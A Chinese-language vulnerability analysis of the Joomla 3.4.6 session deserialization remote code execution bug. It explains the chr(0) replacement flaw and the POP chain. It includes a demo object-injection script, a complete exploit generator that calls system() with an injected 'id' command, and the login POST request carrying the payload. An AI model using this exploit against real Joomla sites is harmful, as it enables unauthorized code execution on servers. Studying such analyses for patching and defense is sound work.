下载地址:https://downloads.joomla.org/it/cms/joomla3/3-4-6
本文测试环境为 PHP 5.5.9+apache+Ubuntu14.04.5 LTS+Joomla3.4.6 。
在 index.php 第42行下好断点,程序流程如下,这里我们重点关注 loadSession 方法。
在 loadSession 方法中会去实例化 JSessionStorageDatabase 类(下图第737行),而该类继承自 JSessionStorage 类,在实例化时会调用父类的 __construct 方法。在父类 __construct 方法中,我们看到使用了 session_set_save_handler 函数来处理 session ,函数中的 $this 指的就是 JSessionStorageDatabase 类对象(下图第88行)。接着,程序开启了 session_start 函数。
在经过 session_set_save_handler 函数处理后,如果调用 session_start 函数,就会依次调用 open、read、write、close 等方法,可以通过如下代码验证该结论。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <?php
class SessionDemo { public function open() { echo 'open'.'<br>'; }
public function close() { echo 'close'.'<br>'; }
public function read() { echo 'read'.'<br>'; }
public function write() { echo 'write'.'<br>'; }
public function destroy() { echo 'destroy'.'<br>'; }
public function gc() { echo 'gc'.'<br>'; } }
$session = new SessionDemo();
session_set_save_handler( array($session, 'open'), array($session, 'close'), array($session, 'read'), array($session, 'write'), array($session, 'destroy'), array($session, 'gc') );
register_shutdown_function('session_write_close'); session_start();
?>
|
而上面我们说了 session_set_save_handler 函数中的 $this 指的就是 JSessionStorageDatabase 类对象,所以在调用 session_start 函数后会触发 JSessionStorageDatabase 类对象的 read 方法,然后在程序即将终止时调用 write 方法。很多人找不到到底哪里调用了 read、write 方法,其实就在这里。
我们继续看程序逻辑。在用户登录失败时, Joomla 会将用户的登录数据设置在 session 中,然后将用户重定向到登录页面(下图第86-87行代码)。
在执行重定向代码时,程序会直接 exit() ,然后就会开始调用前面说到的 JSessionStorageDatabase 类的 write 方法,将用户 session 写入数据库。当我们再次发送请求时,程序会将上次存储在数据库的 session 取出来,这里在反序列化 session 的时候就会有问题。具体 write、read 的代码如下。
write、read 的代码问题就存在于对 chr(0) 字符的替换上。为了让大家更好理解,我这里举个小例子,测试代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); }
function read($data) { return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); }
class Evil { public $cmd;
public function __construct($cmd) { $this->cmd = $cmd; }
public function __destruct() { system($this->cmd); } }
class User { public $username; public $password;
public function __construct($username, $password) { $this->username = $username; $this->password = $password; } }
$username = str_repeat('\0',27); $padding = '1234";s:3:"age";'; $shellcode = 'O:4:"Evil":1:{s:3:"cmd";s:2:"id";}'; $password = $padding . $shellcode;
$str = read(write(serialize(new User($username, $password)))); $obj = unserialize($str); ?>
|
如下图所示,黄色标记部分为属性名,蓝色部分为属性对应的值。我们可以明显看到在 read 函数处理后,原先54个字符长度的 ‘\0’ 被替换成27个字符长度的 chr(0).’*’.chr(0) ,但是字符长度标识还是 s:54 。所以在进行反序列化的时候,还会继续向后读取27个字符长度,这样序列化的结果就完全不一样了。本次 Joomla 的漏洞,就是这个原理,这里不再赘述。
最后,我们再来看下POP链,也是比较简单,直接看下图吧。这里主要注意两个问题:
最终构造 EXP如下 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <?php
class JSimplepieFactory {}
class JDatabaseDriverMysql {}
class SimplePie { var $feed_url; var $cache; var $sanitize; var $cache_name_function;
public function __construct($feed_url, $cache, $sanitize, $cache_name_function) { $this->feed_url = $feed_url; $this->cache = $cache; $this->sanitize = $sanitize; $this->cache_name_function = $cache_name_function; } }
class JDatabaseDriverMysqli { protected $obj; protected $connection; protected $disconnectHandlers = array();
public function __construct($obj, $connection, $disconnectHandlers) { $this->obj = $obj; $this->connection = $connection; $this->disconnectHandlers = $disconnectHandlers; } }
$function = 'system'; $argument = 'http://www.baidu.com;id';
$simplepie = new SimplePie($argument, true, new JDatabaseDriverMysql(), $function); $jdatabasedrivermysqli = new JDatabaseDriverMysqli(new JSimplepieFactory(), true, array(array($simplepie,'init'))); echo urlencode(serialize($jdatabasedrivermysqli));
?>
|
1 2 3 4 5 6 7 8
| POST /Joomla/ HTTP/1.1 Host: 0.0.0.0:8000 Connection: close Content-Type: application/x-www-form-urlencoded Cookie: XDEBUG_SESSION=PHPSTORM; 17511585a4996c48455fa590ab8d4d24=58c7q9ocb6n3q0tjj7m0s3g3i6 Content-Length: 737
CSRF-Token值=1&task=user.login&option=com_users&username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=AAA";s:3:"233":序列化payload
|
PS:这个漏洞还和PHP的版本有关,高版本PHP(例如PHP5.6.40)是无法利用成功的。这个和session的处理机制有关系,具体分析可以参考:session反序列化代码执行漏洞分析[Joomla RCE]